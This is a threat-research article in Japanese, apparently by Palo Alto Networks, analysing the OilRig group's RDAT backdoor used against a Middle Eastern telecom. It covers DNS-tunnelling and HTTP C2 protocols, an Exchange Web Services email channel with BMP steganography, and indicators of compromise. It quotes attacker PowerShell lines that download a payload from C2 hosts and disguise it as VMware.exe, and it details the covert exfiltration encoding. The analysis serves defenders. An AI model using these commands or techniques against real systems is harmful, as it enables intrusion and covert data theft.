中東の通信事業者を標的とするOilRigが、ステガノグラフィを利用する新手のC2チャネルを攻撃手段に追加

This post is also available in: English (英語)

概要

パロアルトネットワークスは、中東の通信事業者に対する攻撃の分析中に、弊社がRDATと呼んでいるOilRig関連ツールの亜種を発見しました。この亜種は、ステガノグラフィとして知られる手法を使用して電子メールに添付されているビットマップ画像内にコマンドとデータを埋め込む、電子メールベースの新手のコマンド&コントロール(C2)チャネルを使用します。

2020年5月、Symantecは、東南アジアの通信事業者を標的とするGreenbugグループに関するレポートを公開しました。このレポートでは、2020年4月に行われた攻撃も取り上げられています。2020年4月に行われた中東の通信事業者に対する攻撃で、同様の戦術とツール、特にカスタムMimikatzツール、Bitvise、PowerShellダウンローダー、そして弊社がRDATと名付けて追跡しているカスタムバックドアが使われていることが観察されました。Unit 42は以前から、2015年に発見したOilRigという脅威グループにGreenbugを関連付けていました。RDATツールがOilRigの活動で使用されているのを最初に確認したのは2017年ですが、その後2018年に別のコマンド&コントロールチャネルを使用する関連サンプルを発見しました。このサンプルを分析したところ、データを持ち出すためにステガノグラフィと組み合わせて使用する新手の電子メールベースのC2チャネルを発見しました。

パロアルトネットワークスは、2017年9月26日に公開したStriking Oilに関するブログ記事で取り上げたTwoFace webシェルに関連するwebシェルにRDATがアップロードされているのを確認して、2017年からRDATを追跡しています。RDATは2017年から活発に開発が行われており、C2通信にHTTPとDNSトンネリングの両方を使用する複数の亜種が出現しています。2018年6月、RDATの開発者は、Exchange Web Services (EWS)を使用して電子メールを送受信してC2通信を行う機能を追加しました。この電子メールベースのC2チャネルでは、ステガノグラフィを利用してコマンドを隠し、電子メールに添付されたBMP画像内に埋め込んでデータを持ち出す、という新手の設計が行われています。C2経由でデータを伝送するために電子メールとステガノグラフィ画像を組み合わせることで、このアクティビティを検出することがはるかに難しくなり、防御が回避される可能性が高まります。

パロアルトネットワークスのお客様は、すべてのRDATサンプルを悪意があるものと判断するWildFireとCortex XDR、C2アクティビティを識別してブロックするDNSセキュリティとURLフィルタリングによって保護されています。

攻撃の詳細

パロアルトネットワークスがRDATの存在に初めて気づいたのは2017年10月7日です。この日はこの攻撃者のwebシェルアクティビティに関する調査内容を公開した11日後であり、webシェルにアップロードされているRDATが観察されました。このことから、攻撃者グループは、当該webシェルの使用が露見した後もRDATペイロードを使用して引き続きサーバーにアクセスしようとしていたと考えられます。

2020年4月、中東の通信事業者を侵害した可能性があるアクティビティが観察されました。このアクティビティの関連ファイルには、認証情報をダンプするカスタムMimikatzサンプル、SSHトンネルの作成に使用されたと思われるBitviseクライアントのサンプルにくわえ、私たちがRDATと名付けたカスタムバックドアが含まれていました。最初に収集したRDATサンプルからサンプルセットを拡張して、以前確認したISMDOORサンプルも関連付けることができました。OilRig関連のwebシェルでRDATを使用していること、コードの類似性、および戦術の類似性の組み合わせから判断して、RDATはOilRigが導入しているツールであることは間違いありません。

収集した関連ツールの中に、過去に確認したことがあるPDBパスと同様のPDBパスを使用するものが2つありました。1つはC:\Users\Void\Desktop\dns\client\x64\Release\client.pdb、もう1つはC:\Users\Void\Desktop\RDAT\client\x64\Release\client.pdbであり、RDATというツール名は後者から取ったものです。図1に示すC:\Users\Void\DesktopのPDB文字列のユーザーのファイルパスを使用して、そのファイルパスを持つサンプルを十数個収集したところ、その多くがISMDOORと呼ばれる既知のOilRigツールであることが識別されました。関連ツール群が小規模であることを考えると、それらのツールは、コードベースを管理している1人の攻撃者または攻撃者グループが開発したものである可能性が非常に高いと言えます。

図1: PDB文字列からのピボット

さらに、ドメインdigi.shanx[.]icuではファイルを取得しようとするPowerShellダウンローダーが観察されています。

図2: PowerShellとインフラストラクチャの重複

SymantecのGreenbugレポートでは、ターゲットホストへの相互アクセスを取得した攻撃者は、PowerShellコマンドを実行してエクスプロイト後のアクティビティを実行していました。ある事例では、次のコードに示すように、Powershellスクリプトを実行して、C2 apps.vvvnews[.]comからRDATを取得してC:\Programdata\Nt.datに保存し、C:\Programdata\Vmware\VMware.exeに移動していました。

(New-Object System.Net.WebClient).DownloadFile('http://apps[.]vvvnews .com:8080/Yf.dat', 'C:\Programdata\Nt.dat');

move C:\Programdata\Nt.dat C:\Programdata\Vmware\VMware.exe -force;

パロアルトネットワークスは調査の過程で、別のC2を使用し、実行するコマンドが多少異なる、ただし使用するファイルパス(C:\Programdata\Nt.dat)が一致する、非常によく似たPowerShellスクリプトを収集しました。

$WebClient = New-Object System.Net.WebClient; $WebProxy = New-Object System.Net.WebProxy('http://192.168.3.4:8080',$true); $WebClient.Proxy = $WebProxy;Try {$WebClient.DownloadFile('http://digi.shanx[.]icu:8080/Nt.dat','C:\Programdata\Nt.dat')} Catch {$_.Exception.Message | out-file C:\Programdata\Exceptions.dat};

残念ながら、分析の時点でC2サーバーhttp://digi.shanx[.]icu:8080は使用不能だったので、Nt.datの内容は確認できませんでした。

RDATバックドア

攻撃者は、中東の通信事業者への攻撃で使用したRDATペイロードを2020年3月1日にコンパイルして、コマンドラインで指定されたドメインまたはハードコードされているドメインrsshay[.]comをC2サーバーとして使用するように設定しました。過去のRDATサンプルと異なり、このサンプルはC2通信にDNSトンネリングのみを使用し、HTTPフォールバックチャネルは使用しません。このRDATサンプルは、DNSトンネルでTXTクエリのみを使用でき、次のように構造化されたクエリを発行します。

<エンコード済みデータ>.<エンコード方式、0 (base64)または1 (base32)><暗号化鍵>.<C2ドメイン>

サブドメインのエンコード済みデータの部分は、攻撃者がコマンドライン引数1を指定した場合はbase32で、それ以外はbase64でエンコードされています。さらに、ドメイン名で使用できない文字が含まれないように、base64でエンコードされたサブドメイン内の文字を置換します。たとえば、=を-に、/を_に、+を-aに、それぞれ置換します。テスト中に観察されたビーコンの例を以下に示します。

91mzXgXT-a9sLktr-aOz8pAw--.0R2.rsshay[.]com

ビーコン内のエンコード済みデータ(サブドメイン)は、サブドメインのC2ドメインの直前に存在するランダムに選択された英数字2文字を連結して生成される16バイトの鍵とAESを使用して生成された暗号化テキストです。たとえば、サブドメインに含まれるランダムな英数字2文字がR2である場合、文字列R2R2R2R2R2R2R2R2を鍵としてデータが暗号化されます。上記の例のビーコンを復号すると、1,6,1.0_Y,2619となります。これは次のように構造化されています。

<通信タイプ値>,<設定されているID値>,<ハードコードされているペイロードのバージョン>,<ランダムに生成された数値>

ペイロードは、TXTクエリに対する結果を表す応答をbase64でデコードして、要求と同じAES暗号と鍵を使用して復号します。次に、正規表現"[^,]+"を使用して、復号した平文を解析し、カンマで区切られたコマンド値とコマンド引数を取得します。次に、表1に示した、コマンドを実行、ファイルをアップロード、およびファイルをダウンロードする機能を備えたコマンドハンドラを使用してコマンド値をチェックします。

表1: RDATで使用できるコマンド

関連するRDAT

調査の過程で、実行可能ファイルの内容と他のさまざまな属性に基づいて、多数の追加サンプルを収集しました。表2に、収集したサンプルのコンパイル日時、使用するC2サーバー、および攻撃者が侵入したシステムにサンプルをインストールするときに使用するサービス名を示します。コンパイル日時が示すように、このツールは2017年から開発が続けられており、収集した中で最新のサンプルは2020年4月にコンパイルされています。2017年8月にコンパイルされたサンプルは、TwoFaceに関連するwebシェルにアップロードされました。一方で2020年3月にコンパイルされたサンプルは、中東の通信事業者に対する攻撃で使用されました。2020年4月にコンパイルされたRDATサンプルも同じ通信事業者に配信されましたが、これは新しいインフラストラクチャ(sharjatv[.]com, wwmal[.]com)を使用するように設定され、DNSトンネリングによるC2チャネル用にDNS AレコードとDNS AAAAレコードの両方をサポートしていました。

発見した中で最も興味深いのは、2018年7月24日にコンパイルされたサンプルです。このサンプルには、Exchange Web Services (EWS) APIを使用して、ステガノグラフィ画像が添付されている電子メールを送受信する新手のC2チャネルが含まれていました。この新手のC2チャネルは、他のRDATサンプルで見られるHTTPとDNSトンネリングを使用するC2チャネルを補完していました。これらのRDATサンプルはすべて、この後のセクションで詳細に説明します。

表2: 関連するRDATサンプル

Exchange Web Servicesとステガノグラフィを使用する新手のC2

このRDATサンプルの新手のC2チャネルは、EWS APIでローカルのExchangeサーバーを操作することによって電子メールをC2チャネルとして使用します。攻撃者の支配下にあるkoko@acrlee[.]comとh76y@acrlee[.]comの2つの電子メールアドレスがハードコードされています。RDATペイロードは、これらの電子メールアドレスを使用して電子メールを送受信して、C2を円滑に実行します。ペイロードは、侵入したホストから電子メールを送信するために、侵入したホストにログインしているアカウントに関連付けられている電子メールを使用します。なぜなら、ペイロードは、WinHTTPライブラリを使用してAPIに要求する際に"WINHTTP_OPTION_AUTOLOGON_POLICY"フィールドを'WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW'に設定しているからです。この設定によって、自動的にデフォルト認証情報を使用してExchangeにログオンを試みます。

攻撃者は、2つの電子メールアドレスの一方から、侵害したアカウントの電子メールアドレスに電子メールを送信することによって、ペイロードと通信します。ペイロードは、攻撃者から電子メールを受信するために、以下を実行します。

• 最初に、攻撃者の電子メールを迷惑メールフォルダに移動する受信トレイルールを作成します。
• 迷惑メールフォルダを常に監視して、攻撃者が送信した添付ファイル付きの電子メールをチェックします。
• 添付ファイルを処理して、BMP画像内に埋め込まれているインバウンドコマンドを取り出します。

ペイロードは、攻撃者と通信するために、侵入したシステムにログインしているアカウントから電子メールを送信して、以下のアクションを実行します。

• 下書き電子メールを作成して、「宛先」フィールドに攻撃者の支配下にある電子メールアドレスを入力します。
• 下書き電子メールに、メッセージまたは持ち出すデータが埋め込まれているBMP画像を添付します。
• 下書き電子メールを攻撃者の電子メールアドレスに送信します。

パロアルトネットワークスは、このチャネルを見せるために、EWS APIに対するアウトバウンドHTTP POST要求を分析して、そのスクリーンショットを撮りました。これらのPOST要求はすべて、"User-Agent"に異例な"firefox"が設定されており、SOAP (Simple Object Access Protocol)メッセージを使用してExchangeサーバーとやり取りします。最初の要求には、C2電子メールアドレスからのすべてのインバウンド電子メールを"迷惑メール"フォルダに移動する"ExchangeRule"という名前の受信トレイルールを作成するSOAPメッセージが設定されています。図3に、この受信トレイルールを作成するSOAPメッセージが設定されているHTTP POST要求を示します。赤い枠で囲まれているのがルール名、青い枠で囲まれているのが攻撃者の電子メールアドレスを含む条件、緑の枠で囲まれているのが迷惑メールフォルダに移動するアクションです。

図3: 攻撃者からの電子メールを迷惑メールフォルダに移動する受信トレイルールを作成するHTTP POST要求

この後、ペイロードは迷惑メールフォルダを常に監視して、攻撃者からの新しい電子メールをチェックします。具体的には、攻撃者の電子メールアドレスから受信した添付ファイル付きの未読電子メールをチェックする要求をEWS APIに対して発行します。図4に、攻撃者からのインバウンド電子メールをチェックするためにペイロードが発行するHTTP POSTを示します。赤い枠で囲まれているのが攻撃者の電子メールアドレス、青い枠で囲まれているのが添付ファイルのチェック、緑の枠で囲まれているのが指定されている迷惑メールフォルダです。

図4: 攻撃者からのインバウンド電子メールをチェックするためにExchangeサーバーに送信されるHTTP POST要求

ペイロードは、攻撃者から送信された電子メールを取得すると、SOAP要求への応答を処理して、電子メール、添付ファイル、および添付ファイルの内容を取得する要求をEWS APIに対して送信します。これらの要求に対する応答を正規表現を使用して処理して、XML内に指定されている値を見つけます。正規表現を使用してサーバーの応答内で見つける値を以下に示します。

• 指定した電子メールを取得するためのIdとChangeKey
• 電子メールから添付ファイルを取得するためのAttachmentId Id
• 添付ファイルの内容を取得するための<t:Content>と</t:Content>

取得した内容は、%TEMP%フォルダに保存して、".bmp"ファイル拡張子を付けます。その後、処理済みの電子メールを削除するSOAP要求を発行します。これで、ペイロードが攻撃者からのインバウンド通信を受信するプロセスが完了します。

ペイロードは、攻撃者にビーコンを送信してデータを持ち出すために、EWS APIを操作して以下の3つのステップを実行します。

1. 「宛先」フィールドに攻撃者の電子メールアドレスを設定した下書き電子メールを保存します。
2. 保存した下書き電子メールに、データが埋め込まれているBMP画像を添付します。
3. 保存した下書き電子メールを送信します。

図5は、送信される直前の、BMP画像が添付された下書き電子メールを示します。この図では、「宛先」フィールドに設定されている攻撃者の電子メールアドレス、添付ファイルとしてデータが埋め込まれているBMP画像、および目的不明の文字列が設定されている件名とメッセージ本文が示されています。

図5: ペイロードが作成して攻撃者に送信する前の下書き電子メールを示すOutlook Web Appのスクリーンショット

ペイロードは、この機能を実行するために、電子メールを作成して下書きとして保存します。こうすることで、電子メールを送信する前に、データが埋め込まれている画像を添付できます。図6は、EWS APIに対するSOAP要求を示します。赤い枠と青い枠で囲まれている部分で下書きフォルダに電子メールを保存する必要があることをサーバーに指定し、緑の枠で囲まれているのが攻撃者の電子メールアドレスです。

図6: 画像を添付する前に下書き電子メールを作成するHTTP POST要求

ペイロードは、下書きフォルダに電子メールを保存した後、EWS APIに対するHTTP POST要求を使用して、BMP画像を電子メールに添付します。図7は、EWS APIに対する要求を示します。赤い枠で囲まれているのが添付ファイルのファイル名、青い枠で囲まれているのが添付ファイルのbase64コンテンツです。

図7: 下書き電子メールに画像を添付するHTTP POST要求

ペイロードは、EWS APIに対して最後の要求を発行して、BMP画像が添付されている下書き電子メールを攻撃者に送信します。図8は、ペイロードが赤い枠で囲まれているSendItemアクションで電子メールを送信するために発行したHTTP POST要求を示します。

図8: 下書き電子メールを攻撃者の電子メールアドレスに送信するHTTP POST要求

ステガノグラフィによるデータの埋め込み

ペイロードは、電子メールの添付ファイルを介して、具体的にはステガノグラフィを使用して画像内にデータを埋め込んだBMP画像を介して、C2からデータを受信したり、データをC2に持ち出したりします。ペイロードがBMP画像からデータを抽出してC2からのデータを受信する方法は、持ち出すデータを埋め込む方法と同じです。この方法を使用してコマンドを送信するC2は観察されていませんが、ペイロードを分析して、メッセージを送信してシステムからデータを持ち出す方法を特定することはできました。

ペイロードは、このC2チャネルを使用してデータを送信するために、Windowsのデフォルトインストールに存在する以下の画像を読み込みます。

C:\ProgramData\Microsoft\User Account Pictures\guest.bmp

Windowsのバージョンに応じて、"guest.bmp"画像のサイズと内容は異なります。Windows 7の場合は128x128ピクセルのスーツケースの画像であり、Windows 10の場合は448x448ピクセルの一般ユーザーアイコンです。図9は、Windows 7とWindows 10のデフォルトインストールから抽出した2つの画像です。後者はサイズを縮小しています。

図9: "guest.bmp"画像(左: Windows 7、右: Windows 10)

ペイロードは、画像の高さ、幅、および色の深度を特定して、データ全体を送信するために変更する必要がある画像の数を、以下の式で計算します。

(データの長さ)/(幅*(高さ-1))

剰余演算子を使用して画像に収まらないデータが存在するかどうかをチェックして、存在する場合は画像数に1を加算します。次に、画像内に収まるデータの部分文字列を抽出しながら、データを反復処理します。

ペイロードがこの画像内にデータを埋め込む方法を説明する前に、BMPファイル形式について簡単に説明する必要があります。BMPファイル形式は、ファイルヘッダーと、画像の各ピクセルの赤、緑、および青の色値を格納するために使用する値の配列で構成されます。色値の配列の各色値の形式は色の深度に応じて異なります。24ビットBMP画像では、画像の各ピクセルの赤、青、および緑の色の濃度を指定する3バイトの値を使用します。32ビット画像では、4バイトの値を使用します。RDATペイロードは、24ビットと32ビットの両方の画像に対応できます。Windows 7とWindows 10の"guest.bmp"はどちらも24ビット画像なので、ペイロードが各ピクセルの3バイトの色値を使用してデータを埋め込んでいる事例が観察されています。ペイロードは、各ピクセルの3バイトを変更して持ち出すデータの1バイトを送信します。各ピクセルの3バイトにデータバイトを分散することで、元の画像に対する影響はわずかであり、可視化するのは困難です。図10は、Windows 7の変更前の画像と埋め込まれたデータを運ぶ変更後の画像を比較しています。

図10: 左: 変更前のWindows 7の"guest.bmp"画像、右: データを運ぶ変更後の画像

図10は、BMP画像内に埋め込まれているデータに気づくのがどれほど難しいことかを示しています。データを運ぶために変更された29ピクセルを拡大して、違いを可視化したところ、図11で比較しているように色がわずかに違っていることがわかりました。2つの画像のピクセルはすべて違っています。ただし、一部のピクセルは、他のピクセルより色の違いがわかりやすくなっています。

図11: 元のピクセル(上)と29バイトのデータを運んでいるピクセル(下)を示す拡大図

ペイロードは、画像内にデータを埋め込むために、"guest.bmp"の色の深度が24ビットまたは32ビットのどちらの深度かチェックします。色の深度がわかると、埋め込むデータのビットを分散するために必要なピクセルあたりのバイト数を計算できます。たとえば、前述の図10に示すWindows 7の"guest.bmp"のような24ビットBMP画像では、画像のピクセルあたり、各ピクセルの赤、緑、および青の値を表す3バイトがあります。24ビット画像を使用する場合、これらの3バイトにデータバイトの8ビットを分散します。具体的には、ピクセルのバイトの下位ビットをデータバイトのビット値に設定します。

ペイロードからC2に送信されたビーコンから取得したサンプルデータ8,54351-1616479009,0を使用して説明します。C2はbase64でこれをエンコードしてOCw1NDM1MS0xNjE2NDc5MDA5LDA=を生成し、@記号を付加してBMP画像内に埋め込みます。ASCII文字のOは、16進値が0x4fであり、base2では01001111と表現されます。このbase2表現の8ビットを使用して、以下のように各ピクセルの3バイトの特定のビットを設定します。

• データのビット0とビット1で、ピクセルの1バイト目のビット1とビット0を置き換えます。
• データのビット2、ビット3、およびビット4で、ピクセルの2バイト目のビット2、ビット1、およびビット0を置き換えます。
• データのビット5、ビット6、およびビット7で、ピクセルの3バイト目のビット2、ビット1、およびビット0を置き換えます。

ペイロードはこのロジックを使用して、"guest.bmp"画像のピクセルバイト(0xe4、0xdf、および0xb9)を読み込み、Oを表すbase2の010 011 11で以下のビットを置き換えます。

• 0xe4のビット2、ビット1、およびビット0を010で置き換えると、0xe2になります。
• 0xdfのビット2、ビット1、およびビット0を110で置き換えると、0xdeになります。
• 0xb9のビット2、ビット1、およびビット0を11で置き換えると、0xbbになります。

図12は、これらのビット置換の方法と、置換による変更後の最終的なピクセルバイトの値を示しています。

図12: BMP画像にデータを埋め込むために各ピクセルに対して実行されるビット置換のグラフィカルな説明

HTTPとDNSトンネリングによるC2チャネル

新手のEWS C2チャネルを使用するRDATサンプルは、C2チャネルとしてHTTPとDNSトンネリングも備えていますが、これはこれまでに収集した他のRDATサンプルに非常によく似ています。HTTP C2チャネルは、HTTP POST要求を使用してデータをC2サーバーに送信します。コードには、以下に示す2つのドメインが記述されています。

allsecpackupdater[.]com

tacsent[.]com

コードがHTTP C2チャネルに使用しようとしているのはtacsent[.]comドメインのみであることに注意する必要があります。コードはallsecpackupdater[.]comドメインと通信しないので、このドメインが記述されている理由は不明ですが、このツールの前のバージョンから残されたアーティファクトである可能性はあります。このドメインは、ClearSkyが2017年に発見し、GreenbugのISMDOORツールとの関連について記述していることから、以前はOilRig脅威グループと結び付けられていました。

HTTP POST要求のヘッダーには、カスタム"From"フィールドがあり、感染したシステムに割り当てる一意の識別子が格納されています。また、URLには"v"パラメータと乱数が指定され、ユーザーエージェントには"chrome"が指定されています。図13に、ペイロードがC2に対する初期ビーコンとして発行するHTTP POSTの例を示します。ユーザーエージェントには異例の"chrome"が設定され、カスタム"From"フィールドがあります。

図13: RDATサンプルがHTTP C2チャネル経由で送信する初期ビーコン

ペイロードは、POST要求で送信するデータを、AES暗号のCBCモードを使用して暗号化します。このデータを復号するには、最初にデータ自体をURLセーフな16進数のパーセントエンコードされた文字からそれらと等価な文字である/、+、および=に変換します。変換後のデータをbase64でデコードして、次にFromフィールドの値を鍵および初期設定ベクトル(IV)として使用してAESで復号します。たとえば、Fromの値を鍵およびIVとして使用してAES暗号でPOSTデータを復号すると、以下の平文が生成されます。

1,1543511637567325,12031\x08\x08\x08\x08\x08\x08\x08\x08

ペイロードは、このHTTP POSTに対するC2サーバーの応答を正規表現[^,]+を使用してチェックして、C2からコマンドが送信されたかどうかを特定します。一度に持ち出すことができるデータは102,400バイトのみなので、応答内のフィールドを使用してデータのオフセットをC2に通知して、C2がデータを再構築できるようにします。

DNSトンネリングプロトコルは、AESの鍵として第2レベルのサブドメインを使用する点で、このブログ記事で前述したプロトコルに非常によく似ていますが、使用するのは2文字ではなく4文字です。また、中東の通信事業者に対する攻撃で使用されたRDATサンプルと同じ文字の置換(=を-に、/を_に、+を-aに置換)を使用して、ドメイン名で使用できない文字を削除します。このサンプルのDNSトンネルは、DNS AレコードクエリおよびHTTP C2チャネルと同じドメインを使用しており、以下に示すような初期ビーコンを生成します。

P9rktZsukI5RVAdZWSR-a6uVYKeQJ-azhVLzUUfGs1TDQ-.fN26.tacsent[.]com

C2は、このビーコンを復号するために、第2レベルのサブドメインを使用してfN26fN26fN26fN26というAESの鍵とIVを作成します。これは、第2レベルのサブドメインを4回繰り返して作成した16バイト文字列です。生成された平文には、以下のメッセージが含まれています。これは、通信タイプと一意のシステム識別子を含むカンマ区切りの文字列です。

3,1543511637567325,0\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c

ペイロードは、このDNSトンネリングプロトコルを使用してデータを持ち出すために、クエリするサブドメイン、具体的にはデータシーケンス番号を示すフィールドと持ち出すデータを示すフィールドを追加します。たとえば、以下のDNSクエリは、システム情報をC2に送信します。

1.44gkxXizTF3QJU0F2AllV_0qhr1xcYmy8GeMB6nnGNSw0bls7JpP0zIqvnyO.xEZlrurmSHgf

uoAcqi9blguWDzwH9oQCWZ-aTeBSBE2M-.tJ8z.tacsent[.]com

第5レベルのサブドメインはデータシーケンス番号です。C2は、この番号を使用して、データを再構築できます。DNSトンネリングプロトコルは各DNS要求内でエンコード済み暗号化テキストを60バイトずつ送信するので、データシーケンス番号は1から始まって60ずつ増えます。第4レベルのサブドメインには、RDATがC2に送信するエンコード済み暗号化テキスト60バイトが含まれます。第3レベルと第2レベルのサブドメインはビーコンと同じです。前述の例では、AESの鍵とIVはtJ8ztJ8ztJ8ztJ8zとなり、これで第3レベルのサブドメインを復号すると、以下の平文になります。

2,1543511637567325,0\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c

同じAES鍵とIVを使用して復号した第4レベルのサブドメインの平文には、システム情報が含まれます。前述の例では、以下のようになります。

1:|2:MicrosoftWindows7Professionw\x01

RDATサンプルは、使用するC2チャネルとは無関係に、コマンドハンドラを使用して応答を解析して、実行するアクションを特定します。表3に、コマンドハンドラで使用できるコマンドおよびペイロードがC2に送信する応答メッセージの構造を示します。中東の通信事業者に対する攻撃で確認されたサンプルで使用できる3つのコマンドに比べると、このRDATサンプルのコマンドハンドラは多くの機能を備えています。

表3: 新手のEWS C2チャネルを使用するRDATサンプル内で使用可能なコマンド

結論

OilRig脅威グループは、少なくとも3年は続いている中東組織を標的とした攻撃に、RDATバックドアを使用してきました。直近の既知のアクティビティは、2020年4月に通信事業者に対して行われました。このツールは3年間にわたって継続的に開発が行われており、機能や使用可能なC2チャネルが異なる複数の亜種が生成されました。サンプルの大部分はHTTPとDNSトンネリングによるチャネルの組み合わせを使用していましたが、唯一の例外として開発者がExchange Web Servicesを利用してステガノグラフィ画像ファイルが添付されている電子メールを攻撃者との間で送受信するサンプルが観察されています。ステガノグラフィと組み合わせて新手のC2チャネルを使用していることは、この攻撃者が長年にわたって常にさまざまな戦術と手法を考案し、開発していることを示しています。

パロアルトネットワークスのお客様は、以下の方法で保護されています。

• すべてのRDATサンプルはWildFireで悪意があると判断され、Cortex XDRを通じて保護されます。
• C2通信で使用されるDNSトンネリングプロトコルはDNSセキュリティを通じてブロックされます。
• すべてのC2ドメインはURLフィルタリングでコマンドアンドコントロールとして分類されます。
• AutoFocusのお客様は、rdat_backdoorタグで、このアクティビティを監視できます。

付録

通信事業者に対する攻撃に関連するファイル

• 4ea6da6b35c4cdc6043c3b93bd6b61ea225fd5e1ec072330cb746104d0b0a4ec - RDAT backdoor
• e53cc5e62ba15e43877ca2fc1bee16061b4468545d5cc1515cb38000e22dd060 - Custom Mimikatz
• 476b40796be68a5ee349677274e438aeda3817f99ba9832172d81a2c64b0d4ae - Bitvise client
• 78584dadde1489a5dca0e307318b3d2d49e39eb3987de52e288f9882527078d5 - PowerShell downloader

RDATサンプル

• 7395a3ada245df6c8ff1d66fcb54b96ae12961d5fd9b6a57c43a3e7ab83f3cc2
• 8f943bc5b20517fea08b2d0acc9afe8990703e9d4f7015b98489703ca51da7eb
• 8120849fbe85179a16882dd1a12a09fdd3ff97e30c3dfe52b43dd2ba7ed33c2a
• bcdb63b3520e34992f292bf9a38498f49a9ca045b7b40caab5302c76ca10f035
• f42c2b40574dc837b33c1012f7b6f41fcccc5ebf740a2b0af64e2c530418e9e0
• fcabb86331cd5e2fa9edb53c4282dfcb16cc3d2cae85aabf1ee3c0c0007e508c
• 7b5042d3f0e9f077ef2b1a55b5fffab9f07cc856622bf79d56fc752e4dc04b28
• ee32bde60d1175709fde6869daf9c63cd3227155e37f06d45a27a2f45818a3dc
• de3f1cc2d4aac54fbdebd5bd05c9df59b938eb79bda427ae26dedef4309c55a9
• 4ea6da6b35c4cdc6043c3b93bd6b61ea225fd5e1ec072330cb746104d0b0a4ec
• acb50b02ab0ca846025e7ad6c795a80dc6f61c4426704d0f1dd7e195143f5323
• 55282007716b2b987a84a790eb1c9867e23ed8b5b89ef1a836cbedaf32982358
• ba380e589261781898b1a54c2889f3360db09c61b9155607d7b4d11fcd85bd9d
• 6322cacf839b9c863f09c8ad9fd0e091501c9ba354730ab4809bb4c076610006

RDATのC2ドメイン

• rdmsi[.]com
• rsshay[.]com
• sharjatv[.]com
• wwmal[.]com
• allsecpackupdater[.]com
• tacsent[.]com
• acrlee[.]com
• kopilkaorukov[.]com

関連するインフラストラクチャ

• digi.shanx[.]icu
• tprs-servers[.]eu
• oudax[.]com
• kizlarsoroyur[.]com
• intelligent-finance[.]site